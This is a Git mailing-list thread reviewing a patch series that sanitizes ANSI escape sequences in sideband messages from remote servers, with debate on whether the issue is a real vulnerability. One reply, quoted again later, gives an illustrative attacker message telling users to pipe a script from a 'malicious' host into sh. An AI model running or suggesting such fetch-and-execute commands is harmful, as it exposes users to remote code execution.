[PATCH 0/3] Sanitize sideband channel messages

[PATCH 0/3] Sanitize sideband channel messages

[Johannes Schindelin via GitGitGadget]

When a clone fails, users naturally turn to the output of the git
clone command. To assist in such scenarios, the output includes the messages
from the remote git pack-objects process, delivered via what Git calls the
"sideband channel."

Given that the remote server is, by nature, remote, there is no guarantee
that it runs an unmodified Git version. This exposes Git to ANSI escape
sequence injection (see
CWE-150, https://cwe.mitre.org/data/definitions/150.html), which can corrupt
terminal state, hide information, and even insert characters into the input
buffer (as if the user had typed those characters).

This patch series addresses this vulnerability by sanitizing the sideband
channel.

It is important to note that the lack of sanitization in the sideband
channel is already "exploited" by the Git user community, albeit in
well-intentioned ways. For instance, certain server-side hooks use ANSI
color sequences in error messages to make them more noticeable during
intentional failed fetches, e.g. as seen at
https://github.com/kikeonline/githook-explode and
https://github.com/arosien/bart/blob/HEAD/hooks/post-receive.php

To accommodate such use cases, Git will allow ANSI color sequences to pass
through by default, while presenting all other ASCII control characters in a
common form (e.g., presenting the ESC character as ^[).

This vulnerability was reported to the Git security mailing list in early
November, along with these fixes, as part of an iteration of the patches
that led to the coordinated security release on Tuesday, January 14th, 2025.

While Git for Windows included these fixes in v2.47.1(2), the consensus,
apart from one reviewer, was not to include them in Git's embargoed
versions. The risk was considered too high to disrupt existing scenarios
that depend on control characters received via the sideband channel being
sent verbatim to the user's terminal emulator.

Several reviewers suggested advising terminal emulator writers about these
"quality of implementation issues" instead. I was quite surprised by this
approach, as it seems overly optimistic to assume that terminal emulators
could distinguish between control characters intentionally sent by Git and
those unintentionally relayed from the remote server.

Please note that this patch series applies cleanly on top of v2.47.2. To
apply it cleanly on top of v2.40.4 (the oldest of the most recently serviced
security releases), the calls to test_grep need to be replaced with calls
to test_i18ngrep, and the calls to git_config_get_string_tmp() need to be
replaced with calls to git_config_get_string().

Johannes Schindelin (3):
  sideband: mask control characters
  sideband: introduce an "escape hatch" to allow control characters
  sideband: do allow ANSI color sequences by default

 Documentation/config.txt            |  2 +
 Documentation/config/sideband.txt   | 16 ++++++
 sideband.c                          | 78 ++++++++++++++++++++++++++++-
 t/t5409-colorize-remote-messages.sh | 30 +++++++++++
 4 files changed, 124 insertions(+), 2 deletions(-)
 create mode 100644 Documentation/config/sideband.txt


base-commit: e1fbebe347426ef7974dc2198f8a277b7c31c8fe
Published-As: https://github.com/gitgitgadget/git/releases/tag/pr-1853%2Fdscho%2Fsanitize-sideband-v1
Fetch-It-Via: git fetch https://github.com/gitgitgadget/git pr-1853/dscho/sanitize-sideband-v1
Pull-Request: https://github.com/gitgitgadget/git/pull/1853
-- 
gitgitgadget

[PATCH 1/3] sideband: mask control characters

[Johannes Schindelin via GitGitGadget]

From: Johannes Schindelin <johannes.schindelin@gmx.de>

The output of `git clone` is a vital component for understanding what
has happened when things go wrong. However, these logs are partially
under the control of the remote server (via the "sideband", which
typically contains what the remote `git pack-objects` process sends to
`stderr`), and is currently not sanitized by Git.

This makes Git susceptible to ANSI escape sequence injection (see
CWE-150, https://cwe.mitre.org/data/definitions/150.html), which allows
attackers to corrupt terminal state, to hide information, and even to
insert characters into the input buffer (i.e. as if the user had typed
those characters).

To plug this vulnerability, disallow any control character in the
sideband, replacing them instead with the common `^<letter/symbol>`
(e.g. `^[` for `\x1b`, `^A` for `\x01`).

There is likely a need for more fine-grained controls instead of using a
"heavy hammer" like this, which will be introduced subsequently.

Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
---
 sideband.c                          | 17 +++++++++++++++--
 t/t5409-colorize-remote-messages.sh | 12 ++++++++++++
 2 files changed, 27 insertions(+), 2 deletions(-)

diff --git a/sideband.c b/sideband.c
index 02805573fab..c0b1cb044a3 100644
--- a/sideband.c
+++ b/sideband.c
@@ -65,6 +65,19 @@ void list_config_color_sideband_slots(struct string_list *list, const char *pref
 		list_config_item(list, prefix, keywords[i].keyword);
 }
 
+static void strbuf_add_sanitized(struct strbuf *dest, const char *src, int n)
+{
+	strbuf_grow(dest, n);
+	for (; n && *src; src++, n--) {
+		if (!iscntrl(*src) || *src == '\t' || *src == '\n')
+			strbuf_addch(dest, *src);
+		else {
+			strbuf_addch(dest, '^');
+			strbuf_addch(dest, 0x40 + *src);
+		}
+	}
+}
+
 /*
  * Optionally highlight one keyword in remote output if it appears at the start
  * of the line. This should be called for a single line only, which is
@@ -80,7 +93,7 @@ static void maybe_colorize_sideband(struct strbuf *dest, const char *src, int n)
 	int i;
 
 	if (!want_color_stderr(use_sideband_colors())) {
-		strbuf_add(dest, src, n);
+		strbuf_add_sanitized(dest, src, n);
 		return;
 	}
 
@@ -113,7 +126,7 @@ static void maybe_colorize_sideband(struct strbuf *dest, const char *src, int n)
 		}
 	}
 
-	strbuf_add(dest, src, n);
+	strbuf_add_sanitized(dest, src, n);
 }
 
 
diff --git a/t/t5409-colorize-remote-messages.sh b/t/t5409-colorize-remote-messages.sh
index 516b22fd963..61126e2b167 100755
--- a/t/t5409-colorize-remote-messages.sh
+++ b/t/t5409-colorize-remote-messages.sh
@@ -99,4 +99,16 @@ test_expect_success 'fallback to color.ui' '
 	grep "<BOLD;RED>error<RESET>: error" decoded
 '
 
+test_expect_success 'disallow (color) control sequences in sideband' '
+	write_script .git/color-me-surprised <<-\EOF &&
+	printf "error: Have you \\033[31mread\\033[m this?\\n" >&2
+	exec "$@"
+	EOF
+	test_config_global uploadPack.packObjectshook ./color-me-surprised &&
+	test_commit need-at-least-one-commit &&
+	git clone --no-local . throw-away 2>stderr &&
+	test_decode_color <stderr >decoded &&
+	test_grep ! RED decoded
+'
+
 test_done
-- 
gitgitgadget

[PATCH 2/3] sideband: introduce an "escape hatch" to allow control characters

[Johannes Schindelin via GitGitGadget]

From: Johannes Schindelin <johannes.schindelin@gmx.de>

The preceding commit fixed the vulnerability whereas sideband messages
(that are under the control of the remote server) could contain ANSI
escape sequences that would be sent to the terminal verbatim.

However, this fix may not be desirable under all circumstances, e.g.
when remote servers deliberately add coloring to their messages to
increase their urgency.

To help with those use cases, give users a way to opt-out of the
protections: `sideband.allowControlCharacters`.

Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
---
 Documentation/config.txt            |  2 ++
 Documentation/config/sideband.txt   |  5 +++++
 sideband.c                          | 10 ++++++++++
 t/t5409-colorize-remote-messages.sh |  8 +++++++-
 4 files changed, 24 insertions(+), 1 deletion(-)
 create mode 100644 Documentation/config/sideband.txt

diff --git a/Documentation/config.txt b/Documentation/config.txt
index 8c0b3ed8075..48870bb588e 100644
--- a/Documentation/config.txt
+++ b/Documentation/config.txt
@@ -522,6 +522,8 @@ include::config/sequencer.txt[]
 
 include::config/showbranch.txt[]
 
+include::config/sideband.txt[]
+
 include::config/sparse.txt[]
 
 include::config/splitindex.txt[]
diff --git a/Documentation/config/sideband.txt b/Documentation/config/sideband.txt
new file mode 100644
index 00000000000..3fb5045cd79
--- /dev/null
+++ b/Documentation/config/sideband.txt
@@ -0,0 +1,5 @@
+sideband.allowControlCharacters::
+	By default, control characters that are delivered via the sideband
+	are masked, to prevent potentially unwanted ANSI escape sequences
+	from being sent to the terminal. Use this config setting to override
+	this behavior.
diff --git a/sideband.c b/sideband.c
index c0b1cb044a3..b38a869c7b5 100644
--- a/sideband.c
+++ b/sideband.c
@@ -25,6 +25,8 @@ static struct keyword_entry keywords[] = {
 	{ "error",	GIT_COLOR_BOLD_RED },
 };
 
+static int allow_control_characters;
+
 /* Returns a color setting (GIT_COLOR_NEVER, etc). */
 static int use_sideband_colors(void)
 {
@@ -38,6 +40,9 @@ static int use_sideband_colors(void)
 	if (use_sideband_colors_cached >= 0)
 		return use_sideband_colors_cached;
 
+	git_config_get_bool("sideband.allowcontrolcharacters",
+			    &allow_control_characters);
+
 	if (!git_config_get_string_tmp(key, &value))
 		use_sideband_colors_cached = git_config_colorbool(key, value);
 	else if (!git_config_get_string_tmp("color.ui", &value))
@@ -67,6 +72,11 @@ void list_config_color_sideband_slots(struct string_list *list, const char *pref
 
 static void strbuf_add_sanitized(struct strbuf *dest, const char *src, int n)
 {
+	if (allow_control_characters) {
+		strbuf_add(dest, src, n);
+		return;
+	}
+
 	strbuf_grow(dest, n);
 	for (; n && *src; src++, n--) {
 		if (!iscntrl(*src) || *src == '\t' || *src == '\n')
diff --git a/t/t5409-colorize-remote-messages.sh b/t/t5409-colorize-remote-messages.sh
index 61126e2b167..5806e5a67b3 100755
--- a/t/t5409-colorize-remote-messages.sh
+++ b/t/t5409-colorize-remote-messages.sh
@@ -106,9 +106,15 @@ test_expect_success 'disallow (color) control sequences in sideband' '
 	EOF
 	test_config_global uploadPack.packObjectshook ./color-me-surprised &&
 	test_commit need-at-least-one-commit &&
+
 	git clone --no-local . throw-away 2>stderr &&
 	test_decode_color <stderr >decoded &&
-	test_grep ! RED decoded
+	test_grep ! RED decoded &&
+
+	rm -rf throw-away &&
+	git -c sideband.allowControlCharacters clone --no-local . throw-away 2>stderr &&
+	test_decode_color <stderr >decoded &&
+	test_grep RED decoded
 '
 
 test_done
-- 
gitgitgadget

[PATCH 3/3] sideband: do allow ANSI color sequences by default

[Johannes Schindelin via GitGitGadget]

From: Johannes Schindelin <johannes.schindelin@gmx.de>

The preceding two commits introduced special handling of the sideband
channel to neutralize ANSI escape sequences before sending the payload
to the terminal, and `sideband.allowControlCharacters` to override that
behavior.

However, some `pre-receive` hooks that are actively used in practice
want to color their messages and therefore rely on the fact that Git
passes them through to the terminal.

In contrast to other ANSI escape sequences, it is highly unlikely that
coloring sequences can be essential tools in attack vectors that mislead
Git users e.g. by hiding crucial information.

Therefore we can have both: Continue to allow ANSI coloring sequences to
be passed to the terminal, and neutralize all other ANSI escape
sequences.

Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
---
 Documentation/config/sideband.txt   | 17 ++++++--
 sideband.c                          | 61 ++++++++++++++++++++++++++---
 t/t5409-colorize-remote-messages.sh | 16 +++++++-
 3 files changed, 84 insertions(+), 10 deletions(-)

diff --git a/Documentation/config/sideband.txt b/Documentation/config/sideband.txt
index 3fb5045cd79..f347fd6b330 100644
--- a/Documentation/config/sideband.txt
+++ b/Documentation/config/sideband.txt
@@ -1,5 +1,16 @@
 sideband.allowControlCharacters::
 	By default, control characters that are delivered via the sideband
-	are masked, to prevent potentially unwanted ANSI escape sequences
-	from being sent to the terminal. Use this config setting to override
-	this behavior.
+	are masked, except ANSI color sequences. This prevents potentially
+	unwanted ANSI escape sequences from being sent to the terminal. Use
+	this config setting to override this behavior:
++
+--
+	color::
+		Allow ANSI color sequences, line feeds and horizontal tabs,
+		but mask all other control characters. This is the default.
+	false::
+		Mask all control characters other than line feeds and
+		horizontal tabs.
+	true::
+		Allow all control characters to be sent to the terminal.
+--
diff --git a/sideband.c b/sideband.c
index b38a869c7b5..9763dea0531 100644
--- a/sideband.c
+++ b/sideband.c
@@ -25,7 +25,11 @@ static struct keyword_entry keywords[] = {
 	{ "error",	GIT_COLOR_BOLD_RED },
 };
 
-static int allow_control_characters;
+static enum {
+	ALLOW_NO_CONTROL_CHARACTERS = 0,
+	ALLOW_ALL_CONTROL_CHARACTERS = 1,
+	ALLOW_ANSI_COLOR_SEQUENCES = 2
+} allow_control_characters = ALLOW_ANSI_COLOR_SEQUENCES;
 
 /* Returns a color setting (GIT_COLOR_NEVER, etc). */
 static int use_sideband_colors(void)
@@ -40,8 +44,24 @@ static int use_sideband_colors(void)
 	if (use_sideband_colors_cached >= 0)
 		return use_sideband_colors_cached;
 
-	git_config_get_bool("sideband.allowcontrolcharacters",
-			    &allow_control_characters);
+	switch (git_config_get_maybe_bool("sideband.allowcontrolcharacters", &i)) {
+	case 0: /* Boolean value */
+		allow_control_characters = i ? ALLOW_ALL_CONTROL_CHARACTERS :
+			ALLOW_NO_CONTROL_CHARACTERS;
+		break;
+	case -1: /* non-Boolean value */
+		if (git_config_get_string_tmp("sideband.allowcontrolcharacters",
+					      &value))
+			; /* huh? `get_maybe_bool()` returned -1 */
+		else if (!strcmp(value, "color"))
+			allow_control_characters = ALLOW_ANSI_COLOR_SEQUENCES;
+		else
+			warning(_("unrecognized value for `sideband."
+				  "allowControlCharacters`: '%s'"), value);
+		break;
+	default:
+		break; /* not configured */
+	}
 
 	if (!git_config_get_string_tmp(key, &value))
 		use_sideband_colors_cached = git_config_colorbool(key, value);
@@ -70,9 +90,37 @@ void list_config_color_sideband_slots(struct string_list *list, const char *pref
 		list_config_item(list, prefix, keywords[i].keyword);
 }
 
+static int handle_ansi_color_sequence(struct strbuf *dest, const char *src, int n)
+{
+	int i;
+
+	/*
+	 * Valid ANSI color sequences are of the form
+	 *
+	 * ESC [ [<n> [; <n>]*] m
+	 */
+
+	if (allow_control_characters != ALLOW_ANSI_COLOR_SEQUENCES ||
+	    n < 3 || src[0] != '\x1b' || src[1] != '[')
+		return 0;
+
+	for (i = 2; i < n; i++) {
+		if (src[i] == 'm') {
+			strbuf_add(dest, src, i + 1);
+			return i;
+		}
+		if (!isdigit(src[i]) && src[i] != ';')
+			break;
+	}
+
+	return 0;
+}
+
 static void strbuf_add_sanitized(struct strbuf *dest, const char *src, int n)
 {
-	if (allow_control_characters) {
+	int i;
+
+	if (allow_control_characters == ALLOW_ALL_CONTROL_CHARACTERS) {
 		strbuf_add(dest, src, n);
 		return;
 	}
@@ -81,7 +129,10 @@ static void strbuf_add_sanitized(struct strbuf *dest, const char *src, int n)
 	for (; n && *src; src++, n--) {
 		if (!iscntrl(*src) || *src == '\t' || *src == '\n')
 			strbuf_addch(dest, *src);
-		else {
+		else if ((i = handle_ansi_color_sequence(dest, src, n))) {
+			src += i;
+			n -= i;
+		} else {
 			strbuf_addch(dest, '^');
 			strbuf_addch(dest, 0x40 + *src);
 		}
diff --git a/t/t5409-colorize-remote-messages.sh b/t/t5409-colorize-remote-messages.sh
index 5806e5a67b3..98c575e2e7f 100755
--- a/t/t5409-colorize-remote-messages.sh
+++ b/t/t5409-colorize-remote-messages.sh
@@ -101,7 +101,7 @@ test_expect_success 'fallback to color.ui' '
 
 test_expect_success 'disallow (color) control sequences in sideband' '
 	write_script .git/color-me-surprised <<-\EOF &&
-	printf "error: Have you \\033[31mread\\033[m this?\\n" >&2
+	printf "error: Have you \\033[31mread\\033[m this?\\a\\n" >&2
 	exec "$@"
 	EOF
 	test_config_global uploadPack.packObjectshook ./color-me-surprised &&
@@ -109,12 +109,24 @@ test_expect_success 'disallow (color) control sequences in sideband' '
 
 	git clone --no-local . throw-away 2>stderr &&
 	test_decode_color <stderr >decoded &&
+	test_grep RED decoded &&
+	test_grep "\\^G" stderr &&
+	tr -dc "\\007" <stderr >actual &&
+	test_must_be_empty actual &&
+
+	rm -rf throw-away &&
+	git -c sideband.allowControlCharacters=false \
+		clone --no-local . throw-away 2>stderr &&
+	test_decode_color <stderr >decoded &&
 	test_grep ! RED decoded &&
+	test_grep "\\^G" stderr &&
 
 	rm -rf throw-away &&
 	git -c sideband.allowControlCharacters clone --no-local . throw-away 2>stderr &&
 	test_decode_color <stderr >decoded &&
-	test_grep RED decoded
+	test_grep RED decoded &&
+	tr -dc "\\007" <stderr >actual &&
+	test_file_not_empty actual
 '
 
 test_done
-- 
gitgitgadget

Re: [PATCH 0/3] Sanitize sideband channel messages

[brian m. carlson]

[-- Attachment #1: Type: text/plain, Size: 5777 bytes --]

On 2025-01-14 at 18:19:29, Johannes Schindelin via GitGitGadget wrote:
> When a clone fails, users naturally turn to the output of the git
> clone command. To assist in such scenarios, the output includes the messages
> from the remote git pack-objects process, delivered via what Git calls the
> "sideband channel."
> 
> Given that the remote server is, by nature, remote, there is no guarantee
> that it runs an unmodified Git version. This exposes Git to ANSI escape
> sequence injection (see
> CWE-150, https://cwe.mitre.org/data/definitions/150.html), which can corrupt
> terminal state, hide information, and even insert characters into the input
> buffer (as if the user had typed those characters).

I could certainly be mistaken, but I believe the report feature (e.g.,
title report), which is disabled for security reasons on all major
terminal emulators, is the only feature that can be used to adjust the
input buffer.  If there are others, then those would definitely be
vulnerability in the terminal emulator, which is the place they should be
fixed.

> This patch series addresses this vulnerability by sanitizing the sideband
> channel.
> 
> It is important to note that the lack of sanitization in the sideband
> channel is already "exploited" by the Git user community, albeit in
> well-intentioned ways. For instance, certain server-side hooks use ANSI
> color sequences in error messages to make them more noticeable during
> intentional failed fetches, e.g. as seen at
> https://github.com/kikeonline/githook-explode and
> https://github.com/arosien/bart/blob/HEAD/hooks/post-receive.php
> 
> To accommodate such use cases, Git will allow ANSI color sequences to pass
> through by default, while presenting all other ASCII control characters in a
> common form (e.g., presenting the ESC character as ^[).
> 
> This vulnerability was reported to the Git security mailing list in early
> November, along with these fixes, as part of an iteration of the patches
> that led to the coordinated security release on Tuesday, January 14th, 2025.

I think there is some disagreement as to whether this constitutes a
vulnerability.  I personally don't agree with that characterization, and
a CWE is a type of weakness, not a vulnerability.

Note that all of these problems could also occur by SSHing into an
untrusted server, running `curl` without redirecting output, or running
`cat` on a specially crafted file at the command line.  It is
specifically expected that people use SSH to log into untrusted or
partially-trusted machines, so this is not just a thought exercise.
None of those cases would be addressed by this series.

> While Git for Windows included these fixes in v2.47.1(2), the consensus,
> apart from one reviewer, was not to include them in Git's embargoed
> versions. The risk was considered too high to disrupt existing scenarios
> that depend on control characters received via the sideband channel being
> sent verbatim to the user's terminal emulator.
> 
> Several reviewers suggested advising terminal emulator writers about these
> "quality of implementation issues" instead. I was quite surprised by this
> approach, as it seems overly optimistic to assume that terminal emulators
> could distinguish between control characters intentionally sent by Git and
> those unintentionally relayed from the remote server.

I've done some analysis of this approach after discussion on the
security list and I don't think we should adopt it, as I mentioned
there.

Where pre-receive hooks are available, people frequently run various
commands to test and analyze code in them, including build or static
analysis tools, such as Rust's Cargo.  Cargo is capable of printing a
wide variety of escape sequences in its output, including `\e[K`, which
overwrites text to the right (e.g., for progress bars and status output
much like Git produces), and sequences for hyperlinks.  Stripping these
sequences would break the output in ways that would be confusing to the
user (since they work fine in a regular terminal) and hard to
reproduce or fix.

There are a variety of other terminal sequences that I have also seen
practically used here which would also be broken.  Other sequences that
could usefully be sent (but I have not seen practically implemented)
include sixel codes (which are a type of image format) that could be
used to display QR codes for purposes such as tracking CI jobs or
providing a "receipt" of code pushed.

I agree that this would have been a nice feature to add at the beginning
of the development of the sideband feature, but I fear that it is too
late to make an incompatible change now.

I realize that you've provided an escape hatch, but as we've seen with
other defense-in-depth measures, that doesn't avoid the inconvenience
and hassle of dealing with those changes and the costs of deploying
fixes everywhere.  We need to consider the costs and impact of these
patches on our users, including the burden of dealing with incompatible
changes, and given the fact that this problem can occur in a wide
variety of other contexts which you are not solving here and which would
be better solved more generally in terminal emulators themselves, I
don't think the benefits of this approach outweigh the downsides.

I do agree that there are terminal emulators which have some surprising
and probably insecure behaviour, as we've discussed in the past, but
because I believe those issues are more general and could be a problem
for any terminal-using program, I continue to believe that those issues
are best addressed in the terminal emulator itself.
-- 
brian m. carlson (they/them or he/him)
Toronto, Ontario, CA

[-- Attachment #2: signature.asc --]
[-- Type: application/pgp-signature, Size: 263 bytes --]

Re: [PATCH 1/3] sideband: mask control characters

[Phillip Wood]

Hi Dscho

Just a couple of small comments

On 14/01/2025 18:19, Johannes Schindelin via GitGitGadget wrote:
> From: Johannes Schindelin <johannes.schindelin@gmx.de>
> 
> +static void strbuf_add_sanitized(struct strbuf *dest, const char *src, int n)
> +{
> +	strbuf_grow(dest, n);
> +	for (; n && *src; src++, n--) {
> +		if (!iscntrl(*src) || *src == '\t' || *src == '\n')

Isn't it a bug to pass '\n' to maybe_colorize_sideband() ?

> +			strbuf_addch(dest, *src);
> +		else {
> +			strbuf_addch(dest, '^');
> +			strbuf_addch(dest, 0x40 + *src);

This will escape DEL ('\x7f') as "^\xbf" which is invalid in utf-8 
locales. Perhaps we could use "^?" for that instead.

> +test_expect_success 'disallow (color) control sequences in sideband' '
> +	write_script .git/color-me-surprised <<-\EOF &&
> +	printf "error: Have you \\033[31mread\\033[m this?\\n" >&2
> +	exec "$@"
> +	EOF
> +	test_config_global uploadPack.packObjectshook ./color-me-surprised &&
> +	test_commit need-at-least-one-commit &&
> +	git clone --no-local . throw-away 2>stderr &&
> +	test_decode_color <stderr >decoded &&
> +	test_grep ! RED decoded

I'd be happier if we used test_cmp() here so that we check that the 
sanitized version matches what we expect and the test does not pass if 
there a typo in the script above stops it from writing the SGR code for red.

Best Wishes

Phillip

Re: [PATCH 0/3] Sanitize sideband channel messages

[Phillip Wood]

Hi Dscho

On 14/01/2025 18:19, Johannes Schindelin via GitGitGadget wrote:
> When a clone fails, users naturally turn to the output of the git
> clone command. To assist in such scenarios, the output includes the messages
> from the remote git pack-objects process, delivered via what Git calls the
> "sideband channel."
> 
> Given that the remote server is, by nature, remote, there is no guarantee
> that it runs an unmodified Git version. This exposes Git to ANSI escape
> sequence injection (see
> CWE-150, https://cwe.mitre.org/data/definitions/150.html), which can corrupt
> terminal state, hide information,

I agree we should think about preventing an untrusted remote process 
from making it look like its messages come from the trusted local 
process. At best it is confusing and at worst it might trick a user into 
running a malicious command if they think the message came from the 
local git process. We need to be careful not to break existing 
legitimate output though. Brian has already highlighted the need to 
support '\e[K' (clear to the end of the current line), we may also want 
to treat '\e[G' (move to column 1 on the current line) as '\r' in 
addition to SGR escapes in the last patch.

> and even insert characters into the input
> buffer (as if the user had typed those characters).

Maybe I've missed something but my understanding from the link above is 
that this is a non-issue for terminal emulators released in the last 20 
years. In any case I think that that is a security bug in the emulator 
and should be fixed there as it has been in the past. I found [1] to be 
much more informative than the mitre link above about the actual 
vulnerabilities.

Best Wishes

Phillip

[1] https://marc.info/?l=bugtraq&m=104612710031920

> This patch series addresses this vulnerability by sanitizing the sideband
> channel.
> 
> It is important to note that the lack of sanitization in the sideband
> channel is already "exploited" by the Git user community, albeit in
> well-intentioned ways. For instance, certain server-side hooks use ANSI
> color sequences in error messages to make them more noticeable during
> intentional failed fetches, e.g. as seen at
> https://github.com/kikeonline/githook-explode and
> https://github.com/arosien/bart/blob/HEAD/hooks/post-receive.php
> 
> To accommodate such use cases, Git will allow ANSI color sequences to pass
> through by default, while presenting all other ASCII control characters in a
> common form (e.g., presenting the ESC character as ^[).
> 
> This vulnerability was reported to the Git security mailing list in early
> November, along with these fixes, as part of an iteration of the patches
> that led to the coordinated security release on Tuesday, January 14th, 2025.
> 
> While Git for Windows included these fixes in v2.47.1(2), the consensus,
> apart from one reviewer, was not to include them in Git's embargoed
> versions. The risk was considered too high to disrupt existing scenarios
> that depend on control characters received via the sideband channel being
> sent verbatim to the user's terminal emulator.
> 
> Several reviewers suggested advising terminal emulator writers about these
> "quality of implementation issues" instead. I was quite surprised by this
> approach, as it seems overly optimistic to assume that terminal emulators
> could distinguish between control characters intentionally sent by Git and
> those unintentionally relayed from the remote server.
> 
> Please note that this patch series applies cleanly on top of v2.47.2. To
> apply it cleanly on top of v2.40.4 (the oldest of the most recently serviced
> security releases), the calls to test_grep need to be replaced with calls
> to test_i18ngrep, and the calls to git_config_get_string_tmp() need to be
> replaced with calls to git_config_get_string().
> 
> Johannes Schindelin (3):
>    sideband: mask control characters
>    sideband: introduce an "escape hatch" to allow control characters
>    sideband: do allow ANSI color sequences by default
> 
>   Documentation/config.txt            |  2 +
>   Documentation/config/sideband.txt   | 16 ++++++
>   sideband.c                          | 78 ++++++++++++++++++++++++++++-
>   t/t5409-colorize-remote-messages.sh | 30 +++++++++++
>   4 files changed, 124 insertions(+), 2 deletions(-)
>   create mode 100644 Documentation/config/sideband.txt
> 
> 
> base-commit: e1fbebe347426ef7974dc2198f8a277b7c31c8fe
> Published-As: https://github.com/gitgitgadget/git/releases/tag/pr-1853%2Fdscho%2Fsanitize-sideband-v1
> Fetch-It-Via: git fetch https://github.com/gitgitgadget/git pr-1853/dscho/sanitize-sideband-v1
> Pull-Request: https://github.com/gitgitgadget/git/pull/1853

Re: [PATCH 1/3] sideband: mask control characters

[Andreas Schwab]

On Jan 14 2025, Johannes Schindelin via GitGitGadget wrote:

> diff --git a/sideband.c b/sideband.c
> index 02805573fab..c0b1cb044a3 100644
> --- a/sideband.c
> +++ b/sideband.c
> @@ -65,6 +65,19 @@ void list_config_color_sideband_slots(struct string_list *list, const char *pref
>  		list_config_item(list, prefix, keywords[i].keyword);
>  }
>  
> +static void strbuf_add_sanitized(struct strbuf *dest, const char *src, int n)
> +{
> +	strbuf_grow(dest, n);
> +	for (; n && *src; src++, n--) {
> +		if (!iscntrl(*src) || *src == '\t' || *src == '\n')

The argument of iscntrl needs to be converted to unsigned char.

-- 
Andreas Schwab, schwab@linux-m68k.org
GPG Key fingerprint = 7578 EB47 D4E5 4D69 2510  2552 DF73 E780 A9DA AEC1
"And now for something completely different."

Re: [PATCH 1/3] sideband: mask control characters

[Junio C Hamano]

Andreas Schwab <schwab@linux-m68k.org> writes:

> On Jan 14 2025, Johannes Schindelin via GitGitGadget wrote:
>
>> diff --git a/sideband.c b/sideband.c
>> index 02805573fab..c0b1cb044a3 100644
>> --- a/sideband.c
>> +++ b/sideband.c
>> @@ -65,6 +65,19 @@ void list_config_color_sideband_slots(struct string_list *list, const char *pref
>>  		list_config_item(list, prefix, keywords[i].keyword);
>>  }
>>  
>> +static void strbuf_add_sanitized(struct strbuf *dest, const char *src, int n)
>> +{
>> +	strbuf_grow(dest, n);
>> +	for (; n && *src; src++, n--) {
>> +		if (!iscntrl(*src) || *src == '\t' || *src == '\n')
>
> The argument of iscntrl needs to be converted to unsigned char.

If this were system-provided one, you are absolutely correct.

But I think this comes from 

sane-ctype.h:15:#undef iscntrl
sane-ctype.h:40:#define iscntrl(x) (sane_istest(x,GIT_CNTRL))

and sane_istest() does the casting to uchar for us, so this may be
OK (even if it may be a bit misleading).

Re: [PATCH 0/3] Sanitize sideband channel messages

[Junio C Hamano]

"brian m. carlson" <sandals@crustytoothpaste.net> writes:

> Where pre-receive hooks are available, people frequently run various
> commands to test and analyze code in them, including build or static
> analysis tools, such as Rust's Cargo.  Cargo is capable of printing a
> wide variety of escape sequences in its output, including `\e[K`, which
> overwrites text to the right (e.g., for progress bars and status output
> much like Git produces), and sequences for hyperlinks.  Stripping these
> sequences would break the output in ways that would be confusing to the
> user (since they work fine in a regular terminal) and hard to
> reproduce or fix.

You have ruled out the attack vector that lets bytestream sent to
the terminal emulator to somehow cause arbitrary input bytes added
(which may require the final <ENTER> from the user but that is not
much of consolation), and I tend to agree with you on that point.

With that misfeature out of the picture, I am not sure why terminal
escape sequences that may clear or write-over things on the screen
are of particular interest.  If the malicious remote end says
something like

    To proceed, open another window and type this command:

	$ curl https://my.malicious.xz/install.sh | sh

to its output, even if the message is shown with the "remote: "
prefix on the receiving local client, wouldn't that cause certain
percentage of end-user population to copy-and-paste that command
anyway?

> I agree that this would have been a nice feature to add at the beginning
> of the development of the sideband feature, but I fear that it is too
> late to make an incompatible change now.

So I am not so sure even it would have been a "nice feature" to disallow
sideband messages to carry terminal escape sequences to begin with.

> I realize that you've provided an escape hatch, but as we've seen with
> other defense-in-depth measures, that doesn't avoid the inconvenience
> and hassle of dealing with those changes and the costs of deploying
> fixes everywhere.

One more thing that I am not so happy about these "escape hatches"
is that they tend to be all or nothing (not limited to this round,
but common to other defense-in-depth attempts).  Having to say "I
trust them completely" is something that would make people uneasy.

> We need to consider the costs and impact of these
> patches on our users, including the burden of dealing with incompatible
> changes, and given the fact that this problem can occur in a wide
> variety of other contexts which you are not solving here and which would
> be better solved more generally in terminal emulators themselves, I
> don't think the benefits of this approach outweigh the downsides.
>
> I do agree that there are terminal emulators which have some surprising
> and probably insecure behaviour, as we've discussed in the past, but
> because I believe those issues are more general and could be a problem
> for any terminal-using program, I continue to believe that those issues
> are best addressed in the terminal emulator itself.

Re: [PATCH 0/3] Sanitize sideband channel messages

[Ondrej Pohorelsky]

Hi,
I see that CVE-2024-52005 [0] has been assigned to this issue. From
the discussion, it seems the fix may not be shipped in the near
future, if at all.

Could you please confirm if I understand this correctly? Specifically,
that this is not being treated as a vulnerability and that the
proposed fix might introduce regressions for certain use cases?
We are bound by SLAs and need to decide soon whether to provide fixed
versions of Git in RHEL. Having clarity on the upstream stance would
be very helpful for our decision. Right now, we are inclined not to
ship these fixes unless they are accepted upstream.

[0] https://github.com/git/git/security/advisories/GHSA-7jjc-gg6m-3329


Best regards,
Ondřej Pohořelský


On Thu, Jan 16, 2025 at 7:47 AM Junio C Hamano <gitster@pobox.com> wrote:
>
> "brian m. carlson" <sandals@crustytoothpaste.net> writes:
>
> > Where pre-receive hooks are available, people frequently run various
> > commands to test and analyze code in them, including build or static
> > analysis tools, such as Rust's Cargo.  Cargo is capable of printing a
> > wide variety of escape sequences in its output, including `\e[K`, which
> > overwrites text to the right (e.g., for progress bars and status output
> > much like Git produces), and sequences for hyperlinks.  Stripping these
> > sequences would break the output in ways that would be confusing to the
> > user (since they work fine in a regular terminal) and hard to
> > reproduce or fix.
>
> You have ruled out the attack vector that lets bytestream sent to
> the terminal emulator to somehow cause arbitrary input bytes added
> (which may require the final <ENTER> from the user but that is not
> much of consolation), and I tend to agree with you on that point.
>
> With that misfeature out of the picture, I am not sure why terminal
> escape sequences that may clear or write-over things on the screen
> are of particular interest.  If the malicious remote end says
> something like
>
>     To proceed, open another window and type this command:
>
>         $ curl https://my.malicious.xz/install.sh | sh
>
> to its output, even if the message is shown with the "remote: "
> prefix on the receiving local client, wouldn't that cause certain
> percentage of end-user population to copy-and-paste that command
> anyway?
>
> > I agree that this would have been a nice feature to add at the beginning
> > of the development of the sideband feature, but I fear that it is too
> > late to make an incompatible change now.
>
> So I am not so sure even it would have been a "nice feature" to disallow
> sideband messages to carry terminal escape sequences to begin with.
>
> > I realize that you've provided an escape hatch, but as we've seen with
